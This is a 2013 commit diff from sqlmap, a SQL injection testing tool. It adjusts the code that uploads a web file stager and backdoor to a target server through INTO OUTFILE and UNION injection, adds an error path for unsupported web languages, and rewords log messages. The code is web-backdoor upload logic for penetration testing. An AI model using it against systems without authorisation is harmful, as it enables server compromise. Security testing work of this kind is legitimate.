working on #396 - handle the case when we dont have a web backdoor/file stager for the language API, added a few more log messages to give further information about what is going on, minor bug fix to docRoot

This commit is contained in:
Bernardo Damele 2013-02-14 18:31:14 +00:00
parent 3b38b20176
commit 614ff6029d

View File

@ -88,8 +88,10 @@ class Web:
else: else:
with open(filepath, "rb") as f: with open(filepath, "rb") as f:
content = f.read() content = f.read()
if content is not None: if content is not None:
stream = StringIO.StringIO(content) # string content stream = StringIO.StringIO(content) # string content
return self._webFileStreamUpload(stream, destFileName, directory) return self._webFileStreamUpload(stream, destFileName, directory)
def _webFileStreamUpload(self, stream, destFileName, directory): def _webFileStreamUpload(self, stream, destFileName, directory):
@ -114,12 +116,15 @@ class Web:
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
if "File uploaded" not in page: if "File uploaded" not in page:
warnMsg = "unable to upload the backdoor through " warnMsg = "unable to upload the file through the web file "
warnMsg += "the file stager on '%s'" % directory warnMsg += "stager to '%s'" % directory
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
else: else:
return True return True
else:
logger.error("sqlmap has not got a web backdoor nor a web file stager for %s" % self.webApi)
return False
def _webFileInject(self, fileContent, fileName, directory): def _webFileInject(self, fileContent, fileName, directory):
outFile = posixpath.normpath("%s/%s" % (directory, fileName)) outFile = posixpath.normpath("%s/%s" % (directory, fileName))
@ -152,9 +157,6 @@ class Web:
self.checkDbmsOs() self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None default = None
choices = list(getPublicTypeMembers(WEB_API, True)) choices = list(getPublicTypeMembers(WEB_API, True))
@ -199,7 +201,6 @@ class Web:
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False success = False
for docRoot in kb.docRoot: for docRoot in kb.docRoot:
@ -226,7 +227,6 @@ class Web:
else: else:
localPath = directory localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath: if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/") uriPath = uriPath.replace(docRoot, "/")
@ -243,6 +243,9 @@ class Web:
uriPath = posixpath.normpath(uriPath).rstrip('/') uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "via LIMIT INTO OUTFILE technique"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, localPath) self._webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
@ -259,8 +262,8 @@ class Web:
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via " infoMsg = "trying to upload the file stager on '%s' " % localPath
infoMsg += "UNION technique" infoMsg += "via UNION technique"
logger.info(infoMsg) logger.info(infoMsg)
handle, filename = mkstemp() handle, filename = mkstemp()